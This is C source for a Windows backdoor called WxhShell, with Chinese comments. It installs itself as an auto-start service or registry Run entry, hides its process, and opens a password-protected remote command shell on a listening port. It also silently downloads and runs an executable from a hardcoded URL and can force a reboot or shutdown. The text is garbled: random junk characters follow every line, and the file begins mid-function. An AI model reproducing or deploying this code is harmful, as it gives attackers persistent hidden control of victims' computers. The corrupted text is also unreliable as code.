    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nH T2M{R  
    if(Boot(SHUTDOWN)) {mkYW-4Se  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kTC6fNj[  
    else { CiPD+I  
    closesocket(wsh); dnNc,l&g  
    ExitThread(0); PJ #uYM  
    } u.!Pda  
    break; -} Z  
    } Wgx lQXi-B  
  // 获取shell ~^VcTSY@<L  
  case 's': { s*]1d*B!  
    CmdShell(wsh); H%])>  
    closesocket(wsh); O'idS`   
    ExitThread(0); {W0]0_mI(  
    break; % ;6e@U}  
  } urog.Q  
  // 退出 qvYw[D#.  
  case 'x': { !T @|9PCp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :5CwRg  
    CloseIt(wsh); *AxKV5[H  
    break; Gm>8= =c  
    } Bxm^Arc>  
  // 离开 elP`5BuN  
  case 'q': { y4shW|>5_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U 2\{ ( y  
    closesocket(wsh); ^PWZ1.T  
    WSACleanup(); wF38c]r`\<  
    exit(1); Xb;CY9&  
    break; zo]7#  
        } /{qr~7k,oQ  
  } NTVG'3o  
  } YTYYb#"Q  
2@^8{  
  // 提示信息 "$Rl9(}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dks0  
} QZ{:#iuig  
  } ;J?!D x  
.g4bV5ma3  
  return; f#^%\K:YYR  
} M{z+=c&w  
*M KVm)Iv  
// shell模块句柄 {d7KJmN  
int CmdShell(SOCKET sock) 0HG*KW  
{ e@X~F6nP  
STARTUPINFO si; O'5(L9,  
ZeroMemory(&si,sizeof(si)); OjZ+gl}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v3aiX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Vwv O@G7A  
PROCESS_INFORMATION ProcessInfo; VMtR4!:q  
char cmdline[]="cmd"; t/q\Ne\\,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }b,a*4pN  
  return 0; nre8 F  
} Grw_SVa^  
; G E0iSC  
// 自身启动模式 &|9?B!,`  
int StartFromService(void) 1` 9/[2z  
{ rVf`wJ6b  
typedef struct jP}N^  
{ R\X=Vg  
  DWORD ExitStatus; Dy8Go4  
  DWORD PebBaseAddress; ?mF-zA'4]  
  DWORD AffinityMask; mXa1SZnE   
  DWORD BasePriority; du47la 3  
  ULONG UniqueProcessId; 'l<kY\I!%  
  ULONG InheritedFromUniqueProcessId; [x)BQX'  
}   PROCESS_BASIC_INFORMATION; F]Y Pq  
VSP[G ,J.  
PROCNTQSIP NtQueryInformationProcess; 2gFQHV  
J/ rQ42d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Uvz9x"0[u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; My5X%)T>P  
LFh(. }  
  HANDLE             hProcess; g\6(ezUF*  
  PROCESS_BASIC_INFORMATION pbi; E>7%/TIl  
%0"o(y+zt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RNIfw1R  
  if(NULL == hInst ) return 0; & f!!UZMt)  
~[,E i k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ie+z"&0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {~d4;ht1Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bg 7b!t1F  
g[Yok` e[  
  if (!NtQueryInformationProcess) return 0; geT<vh Z6  
tc# rL   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); guf+AVPno  
  if(!hProcess) return 0; @o>2:D1G  
$Y ]*v)}X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qnT:x{o  
NP|U |zn  
  CloseHandle(hProcess); .0s/O  
9^jO^[>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [c3hwogf:  
if(hProcess==NULL) return 0; 'RG`DzuF  
e4?}#6RF  
HMODULE hMod; tb_}w@:kU  
char procName[255]; 6%:'2;xM  
unsigned long cbNeeded; %=NqxF>>  
&Cdd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 67f#Z&r2k  
Ho\z ^w+T`  
  CloseHandle(hProcess); v'Lckw@G4  
f5`exfdHE  
if(strstr(procName,"services")) return 1; // 以服务启动 _<5> E  
 ^mG-O  
  return 0; // 注册表启动 2#|Q =rWB  
} xx41Qw>\W  
beO*|  
// 主模块 I-+D+DhRx  
int StartWxhshell(LPSTR lpCmdLine) WxIP~  
{ P:CwC"z>sS  
  SOCKET wsl; L18Olu  
BOOL val=TRUE; McA,  
  int port=0; @n})oAC,  
  struct sockaddr_in door; d)q{s(<;  
b}k`'++2,  
  if(wscfg.ws_autoins) Install(); ?2.< y_1  
@dO~0dF  
port=atoi(lpCmdLine); |n* I}w^  
b/<n:*$   
if(port<=0) port=wscfg.ws_port; #mtlgK'  
vY.p~3q :)  
  WSADATA data; ~/gqXT">  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @0t,vye  
JJ[J'xl@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q}+9$v  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); VE{t]>*-u  
  door.sin_family = AF_INET; \t )Zk2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c)lMi}/  
  door.sin_port = htons(port); ]Ub?Wo7F?  
qzV:N8+,`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r)h+pga5^E  
closesocket(wsl); -KO E2f  
return 1; VIynlvy  
} !_zmm$bR  
g3"`b)M  
  if(listen(wsl,2) == INVALID_SOCKET) { |-Y,:sY:  
closesocket(wsl); 9g " ?`_  
return 1; 9n44 *sZ  
} -S9$C*t  
  Wxhshell(wsl); ][#]4 _  
  WSACleanup(); UJlKw `4  
C+2*m=r  
return 0; O(wt[AEA  
Vx?a&{3]-  
} .!=2#<  
wVw3YIN#  
// 以NT服务方式启动 _`ot||J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ dmyS?Or  
{ o- GHAQ  
DWORD   status = 0; &e2") 4oh  
  DWORD   specificError = 0xfffffff; /|hKZTZJdN  
_H@S(!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uvZ|6cM  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Jf4D">h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `"/@LUso  
  serviceStatus.dwWin32ExitCode     = 0; 6Pd;I,k  
  serviceStatus.dwServiceSpecificExitCode = 0; Pm V:J9  
  serviceStatus.dwCheckPoint       = 0; Ns&SZO  
  serviceStatus.dwWaitHint       = 0; "4i(5|whp?  
S,qsCnz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _[IN9ZC2G  
  if (hServiceStatusHandle==0) return; uiO8F*,!&r  
qfG`H#cA<  
status = GetLastError(); MJDFm,  
  if (status!=NO_ERROR) LLV:E{`p  
{ <C]s\ "o-`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :8\z 0  
    serviceStatus.dwCheckPoint       = 0; ~?S/0]?c  
    serviceStatus.dwWaitHint       = 0; i!sKL%z}  
    serviceStatus.dwWin32ExitCode     = status; 7e>n{rl  
    serviceStatus.dwServiceSpecificExitCode = specificError; M%yT?R+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :C>slxY  
    return; D0tI  
  } 1 ^Ci$ra  
E3sl"d;~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X_O(j!h  
  serviceStatus.dwCheckPoint       = 0; i>>_S&!9p  
  serviceStatus.dwWaitHint       = 0; A"i40 @+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); XeJx/'9o{  
} #L[Atx  
l.Qj?G  
// 处理NT服务事件,比如:启动、停止 YzsHec  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |a/"7B|?\  
{ oM Q+=  
switch(fdwControl) ;S2^f;q~$  
{ H8rDG/>^  
case SERVICE_CONTROL_STOP: 8T7[/"hi\  
  serviceStatus.dwWin32ExitCode = 0; dk-Y!RfNx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; aJK8G,Vk  
  serviceStatus.dwCheckPoint   = 0; jh2D 9h  
  serviceStatus.dwWaitHint     = 0; ')+'m1N  
  { B]0`b1t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lP\7=9rh^x  
  } c9r, <TR9  
  return; 3Sf <oYF  
case SERVICE_CONTROL_PAUSE: )>C,y`,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Kcl>uAgU  
  break; G-9]z[\#  
case SERVICE_CONTROL_CONTINUE: l<! ?`V6}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 45q-x_  
  break; h@@2vs2  
case SERVICE_CONTROL_INTERROGATE: i|y8n7c  
  break; {!Jw+LPv$$  
}; ,o*x\jrGw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vRYfB{~  
} *Xn{{  
?%{v1(  
// 标准应用程序主函数 j[ kg9z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pa4zSl  
{ Rs8^ 27  
Yfs60f  
// 获取操作系统版本 t1wNOoRa  
OsIsNt=GetOsVer(); S:+SZq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }p]8'($  
fiES6VL  
  // 从命令行安装 QI.{M$,m~  
  if(strpbrk(lpCmdLine,"iI")) Install(); OpW4@le_r  
9)];l?l  
  // 下载执行文件 +MvcW.W~  
if(wscfg.ws_downexe) { Qis[j-?:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pa`"f&JO  
  WinExec(wscfg.ws_filenam,SW_HIDE); _.KKh62CN  
} Uf 1i "VY  
V80g+)|  
if(!OsIsNt) { *[9FPya  
// 如果时win9x,隐藏进程并且设置为注册表启动 IlN9IF\9L  
HideProc(); iYEhrb  
StartWxhshell(lpCmdLine); -}AAA*P  
} PB(mUD2"r  
else wG ua"@IE  
  if(StartFromService()) 4w<U%57  
  // 以服务方式启动 f]jAa?d T&  
  StartServiceCtrlDispatcher(DispatchTable); ,Hlbl}.ls  
else iqRk\yq<  
  // 普通方式启动 Y1h8O%?  
  StartWxhshell(lpCmdLine); [z5pqd-  
x9hkE!{8  
return 0; o cotO  
} g+bc4eU  
[u`v'*0d  
\L($;8` \  
%scSp&X  
=========================================== }4Ef31X8q  
"eA4JL\%)  
q@1b{q#C5  
rF'_YYpr>  
AvfSR p  
K -cRNt  
" Y`eUWCD  
(J I4ibP  
#include <stdio.h> h8iic  
#include <string.h> \fj* .[,  
#include <windows.h> ANR?An  
#include <winsock2.h> _a|-_p  
#include <winsvc.h> Oi+9kk e  
#include <urlmon.h> ]|KOc& y:I  
zy^t95/m  
#pragma comment (lib, "Ws2_32.lib") ecfw[4B`  
#pragma comment (lib, "urlmon.lib") G~b/!clN  
i|?EgGFG  
#define MAX_USER   100 // 最大客户端连接数 ,UNCBnv1  
#define BUF_SOCK   200 // sock buffer FZf{kWH  
#define KEY_BUFF   255 // 输入 buffer /@h)IuW  
`@!4#3H  
#define REBOOT     0   // 重启 5 Sm9m*/  
#define SHUTDOWN   1   // 关机 c5Fl:=h  
>NwS0j$j@  
#define DEF_PORT   5000 // 监听端口 uQk}  
1U[Q)(P  
#define REG_LEN     16   // 注册表键长度 {]-AuC2E/0  
#define SVC_LEN     80   // NT服务名长度 2_k2t ?   
Osz:23(p  
// 从dll定义API $o2H#"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6b`3AAGU"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); P_6JweN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); fhp\of/@ R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1- Jd Qs6  
^Y[.-MJt+  
// wxhshell配置信息 qtlXDgppO  
struct WSCFG { `>'%!E9G  
  int ws_port;         // 监听端口 }rK9M$2]u  
  char ws_passstr[REG_LEN]; // 口令 U?]}K S;6  
  int ws_autoins;       // 安装标记, 1=yes 0=no _-mSK/Z  
  char ws_regname[REG_LEN]; // 注册表键名 <~s{&cL!%#  
  char ws_svcname[REG_LEN]; // 服务名 *f<+yF{=A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vcjmj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r I)Y W0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .xG3`YH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~nLE?>x|Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %+gK5aVab  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %QYW0lE  
lqdil l\  
}; gkkT<hEV=  
-|_#6-9  
// default Wxhshell configuration g }\ G@7Q  
struct WSCFG wscfg={DEF_PORT, xb8S)zO]Q  
    "xuhuanlingzhe", 5A Fy6Ab  
    1, 1j4tR#L  
    "Wxhshell", f0Wbc\L[  
    "Wxhshell", qrdA4S  
            "WxhShell Service", m ^?a/  
    "Wrsky Windows CmdShell Service", *DBm"{q%&k  
    "Please Input Your Password: ", F{,<6/ayRz  
  1, E^'f'\m  
  "http://www.wrsky.com/wxhshell.exe", e"g=A=S  
  "Wxhshell.exe" B L^?1x  
    }; 5=cS5q@  
^/c v8M=  
// 消息定义模块 aUZh_<@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SrVo0$5)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =*2_B~`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; * z85 2@  
char *msg_ws_ext="\n\rExit."; ^W8kt  
char *msg_ws_end="\n\rQuit."; zH)M,+P  
char *msg_ws_boot="\n\rReboot..."; vU(uu:U9  
char *msg_ws_poff="\n\rShutdown..."; 5ub|r0&M  
char *msg_ws_down="\n\rSave to "; o,(]w kF  
cl,\N\  
char *msg_ws_err="\n\rErr!"; +q<G%PwbV  
char *msg_ws_ok="\n\rOK!"; E]@$,)nC  
RV@'$`Q  
char ExeFile[MAX_PATH]; ,76xa%k(U|  
int nUser = 0; L'A9TW2  
HANDLE handles[MAX_USER]; }Zuk}Og9+  
int OsIsNt; +wPXDN#R  
;zF3e&e(  
SERVICE_STATUS       serviceStatus; VA D9mS^~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |!Ryl}Oi  
r3OR7f[  
// 函数声明 vIzREu|5  
int Install(void); esh7*,7-z*  
int Uninstall(void); Gn?NY}.S  
int DownloadFile(char *sURL, SOCKET wsh); rm}%C(C{J  
int Boot(int flag); Fi!BXngbd  
void HideProc(void); ue8"_N  
int GetOsVer(void); PAYS~MnV@3  
int Wxhshell(SOCKET wsl); ctk~}( 1#  
void TalkWithClient(void *cs); Sj(5xa[  
int CmdShell(SOCKET sock); .Tm m  
int StartFromService(void); c;6[lv  
int StartWxhshell(LPSTR lpCmdLine); arWP]%E0W  
s^\ *jZ6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bfV&z+Rv-5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); E&z`BPd  
Vf*Z}'  
// 数据结构和表定义 or<n[<D-C  
SERVICE_TABLE_ENTRY DispatchTable[] = iY[+BI:  
{ ! )x2   
{wscfg.ws_svcname, NTServiceMain}, W[VbFsI&b  
{NULL, NULL} od=x?uBVd  
}; dilom#2l  
<@4 48,9&  
// 自我安装 _/c1b>kcso  
int Install(void) ovXU +8  
{ *r90IS}A$2  
  char svExeFile[MAX_PATH]; -ZVCb@%  
  HKEY key; tg~@(IT}j  
  strcpy(svExeFile,ExeFile); nhdOo   
>))f;$D=  
// 如果是win9x系统,修改注册表设为自启动 qdCcMcGt  
if(!OsIsNt) { N e<D'-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T1~G {@"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _uf,7R-  
  RegCloseKey(key); DWwPid} "  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'W_u1l/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fHV%.25  
  RegCloseKey(key); Mil+> X0  
  return 0; 3QF/{$65!  
    } Ip_deP@  
  } ]I^b&N  
} OaH1xZNOC`  
else { ?:AD&Dn  
qG)M8xk  
// 如果是NT以上系统,安装为系统服务 +x(~!33[G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y#<>N-X|kA  
if (schSCManager!=0) A||,|He~  
{ 6"djX47j  
  SC_HANDLE schService = CreateService S*3*Q l*  
  ( &l8eljg  
  schSCManager, }nx5  
  wscfg.ws_svcname, zg>)Lq|VsT  
  wscfg.ws_svcdisp, '>:c:Tewy  
  SERVICE_ALL_ACCESS, S.,5vI"s,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , DQI b57j  
  SERVICE_AUTO_START, ;R[w}#Sm  
  SERVICE_ERROR_NORMAL, Jk=_8Xvr`  
  svExeFile, ]#sF pWI[N  
  NULL, pNnZ-R|u  
  NULL, A)%!9i)  
  NULL, MBn ZO  
  NULL, GoUsB|-\  
  NULL q@=3`yQ  
  ); e0:[,aF`  
  if (schService!=0) %o  
  { LX8A@Yct  
  CloseServiceHandle(schService); 259R5X<V  
  CloseServiceHandle(schSCManager); +ktubJ@Qgj  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); IzI2w6a  
  strcat(svExeFile,wscfg.ws_svcname); )R^&u`k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nh'TyUd!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \=&F\EV  
  RegCloseKey(key); M/a40uK  
  return 0; L/c`t7  
    } /6{P ?)]pE  
  } aN?^vW<  
  CloseServiceHandle(schSCManager); +(U;+6 b  
} csjCXT=Ve  
} ,CxIA^  
>[0t@Tu,D  
return 1; *8Kx y@  
} vdaG?+_o  
f2iA5 rCV]  
// 自我卸载 #V$h?`qhwr  
int Uninstall(void) up!54}qy  
{ K0fuN)C  
  HKEY key; snicVzvA  
^61;0   
if(!OsIsNt) { ?1.W F}X'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 34F;mr"yp  
  RegDeleteValue(key,wscfg.ws_regname); j"r7M|Z+V  
  RegCloseKey(key); !nDiAjj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !O 0{ .k  
  RegDeleteValue(key,wscfg.ws_regname); ],-(YPiAD  
  RegCloseKey(key); )}$]~ f4R  
  return 0; ,(3oAj\  
  } 2DNB?,uP,'  
} A}4 ",  
} p#0L@!,  
else { ('z:XW96  
cd._q2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); po@Agyg5  
if (schSCManager!=0) AL{iQxQ6  
{ R ~"&E#C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -, uT8'  
  if (schService!=0) 1c|{<dFm  
  { hS'!JAM>Q  
  if(DeleteService(schService)!=0) { pEp$J;   
  CloseServiceHandle(schService); /hSEm.<  
  CloseServiceHandle(schSCManager); *X /i<  
  return 0; G{74o8  
  } . e_VPKF|  
  CloseServiceHandle(schService); |,Kk#`lW<f  
  } :MihVLF  
  CloseServiceHandle(schSCManager); ~%L=<TBAc  
} ?mHu eX  
} {BY(zsl  
%n^ugm0B  
return 1; *. 1S  
} Le V";=_n  
7/zaf  
// 从指定url下载文件 j6WDh}#  
int DownloadFile(char *sURL, SOCKET wsh) $ftxid8  
{ @|:yK|6O  
  HRESULT hr; muMd9\p  
char seps[]= "/"; qVssw* GDB  
char *token; c'D NO~H  
char *file; Vg(FF "  
char myURL[MAX_PATH]; 9qk J<  
char myFILE[MAX_PATH]; g(C/J9J  
K5HzA1^  
strcpy(myURL,sURL); y!c<P,Lt3f  
  token=strtok(myURL,seps); '#a;n  
  while(token!=NULL) &$heW,  
  { [jR >.H'  
    file=token; jqlfypU  
  token=strtok(NULL,seps); u7S C_3R  
  } Rn*@)5  
H8kB.D[7Q  
GetCurrentDirectory(MAX_PATH,myFILE); pQi|PQq  
strcat(myFILE, "\\"); .I0M'L~!/L  
strcat(myFILE, file); 3el/,v|qj  
  send(wsh,myFILE,strlen(myFILE),0); !l5@L\   
send(wsh,"...",3,0); o@L2c3?c5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lnGg1/  
  if(hr==S_OK) 7+;.Q  
return 0; ^^g u  
else 4Uhh]/  
return 1; ,3 [FD9  
WmOu#5*;  
} GX=U6n>  
J"-/ok(<@  
// 系统电源模块 7 lSR  
int Boot(int flag) &4wwp!J  
{ [A'e7Do%'  
  HANDLE hToken; j\HZ5  
  TOKEN_PRIVILEGES tkp; #^tnRfS"  
LYr9a(  
  if(OsIsNt) { t&i4kS^y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |\xTcS|d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Aho-\9/x%  
    tkp.PrivilegeCount = 1; L2c\i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A;k#8&;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r4ljA@L  
if(flag==REBOOT) { D&x.io  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L|nFN}da  
  return 0; ?Y 5Vje[^  
} ehLn+tg  
else { J+T tM>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {e1sq^>|  
  return 0; X]D:vuB  
} a'g&1N0Rc  
  } @; tM R|p  
  else { :`>tCYy;  
if(flag==REBOOT) { CzI s_/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Cj=_WWo  
  return 0; o;21|[z  
} Tb!FO"o  
else { dA^{}zZu  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1\)C;c,  
  return 0; Y6T{/!  
} Tz~a. h@  
} %f?Zg44  
??P %.  
return 1; _4T7Vg''  
} F2{SC?U  
VUOe7c=  
// win9x进程隐藏模块 #ro$$I;  
void HideProc(void) 4];>O  
{ 5LZs_%#  
$1FnjL5u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); BC5R$W. e  
  if ( hKernel != NULL ) q VavP6I  
  { /([a%,DI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WM%w_,Z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #xfav19{.  
    FreeLibrary(hKernel); [E+J=L.l  
  } &- !$qUli  
l](!2a=[  
return; NV==[$(r  
} Uw| -d[!  
FAdTp.   
// 获取操作系统版本 aPRMpY-YC3  
int GetOsVer(void) / U!xh3  
{ I`s~.fZt  
  OSVERSIONINFO winfo; 2`rJr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); omznSL  
  GetVersionEx(&winfo); 'V8o["P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \qTp#sF  
  return 1; ~Ye nH  
  else ]+b?J0|P<  
  return 0; n/`!G?kvI  
} )L7[;(gQ  
lANi$ :aE  
// 客户端句柄模块 !/ dH"h  
int Wxhshell(SOCKET wsl) XB@i{/6K  
{ [XH,~JZJj  
  SOCKET wsh; CpK:u! Dn  
  struct sockaddr_in client; I!}V+gu=  
  DWORD myID; (N/-blto  
x iz+ R9p  
  while(nUser<MAX_USER) BS?i!Bm7  
{ 6pt|Crvu  
  int nSize=sizeof(client); R+!oPWfb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m 2/S(f  
  if(wsh==INVALID_SOCKET) return 1; ] _W'-B  
B.KK@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CEBu[TT/9  
if(handles[nUser]==0) O9m sPb:  
  closesocket(wsh); zo("v*d*q  
else I[b{*g2Zw  
  nUser++; F/,6Jh  
  } ^6Zx-Mf\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); wp'[AR}  
lHPnAaue@  
  return 0; g-,lY|a  
} -[&Z{1A4x4  
gI9nxy  
// 关闭 socket Y^C(<N$  
void CloseIt(SOCKET wsh) 2 E?]!9T~|  
{ Y]Z&  
closesocket(wsh); 2Nx:Y+[  
nUser--; 9P,[MZ  
ExitThread(0); JG&E"j#q  
} 6`%|-o :  
LpI4R  
// 客户端请求句柄 2Dt^W.!  
void TalkWithClient(void *cs) N"tX K  
{  DZ4gp  
>;F}>_i  
  SOCKET wsh=(SOCKET)cs; /reGT!u  
  char pwd[SVC_LEN]; x>,wmk5)  
  char cmd[KEY_BUFF]; oB>#P-V  
char chr[1]; dcTZL$  
int i,j; #xq3 )B  
2}bXX'Y  
  while (nUser < MAX_USER) { w`r %_o-I  
g/WDAO?d  
if(wscfg.ws_passstr) { r_FI5f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u~ VXe  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MmU`i ,z  
  //ZeroMemory(pwd,KEY_BUFF); WnU2.:  
      i=0; ,Z :2ba  
  while(i<SVC_LEN) { eD3\>Y.z  
mkPqxzxbrL  
  // 设置超时 MiKq|  
  fd_set FdRead; M= |is*t  
  struct timeval TimeOut; ]Nw ]po+  
  FD_ZERO(&FdRead); m5a'Vs  
  FD_SET(wsh,&FdRead); B*E"yB\NV  
  TimeOut.tv_sec=8;  >|gXE>  
  TimeOut.tv_usec=0; 8r:T&)v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); smn(q)tt  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2yD ?f8P4  
GMkni'pV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8|$g"? CU  
  pwd=chr[0]; 9~2iA,xs  
  if(chr[0]==0xd || chr[0]==0xa) { +?*.Emzl@  
  pwd=0; J5O/c,?g  
  break; $P)-o?eer  
  } |/c-~|%  
  i++; C-@M|K9A'  
    } @[`]w`9Q7  
A |@d{g  
  // 如果是非法用户,关闭 socket k]P'D .  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :Ig9n :  
} YHke^Ind  
(CtRU   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *a0#PfS[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6 {F#_.  
F&^&"(H}  
while(1) { 3RI6+Cgmn  
T~SkFZ  
  ZeroMemory(cmd,KEY_BUFF); !>wu7u-  
a+CJJ3T-  
      // 自动支持客户端 telnet标准   #7sxb  
  j=0; m*h O@M  
  while(j<KEY_BUFF) { ~(NFjCUY?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1K)9fMr]  
  cmd[j]=chr[0]; AAuwE&Gg  
  if(chr[0]==0xa || chr[0]==0xd) { (lq%4h  
  cmd[j]=0; j~=<O<P  
  break; hOV5WO\  
  } &B1!,joH~  
  j++; SOMAs'=  
    } ,%zE>^~  
{w,<igh  
  // 下载文件 7|bBC+;(  
  if(strstr(cmd,"http://")) { YguW2R=6]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); FPZ@6  
  if(DownloadFile(cmd,wsh)) cRCji^,KJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(~fl<;  
  else OwgPgrV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !\$4A,  
  } Lm.N {NV'  
  else { M\Wg|gpy  
V`i(vC(  
    switch(cmd[0]) { Zs;c0T ">  
  7TU77  
  // 帮助 { i4`- w  
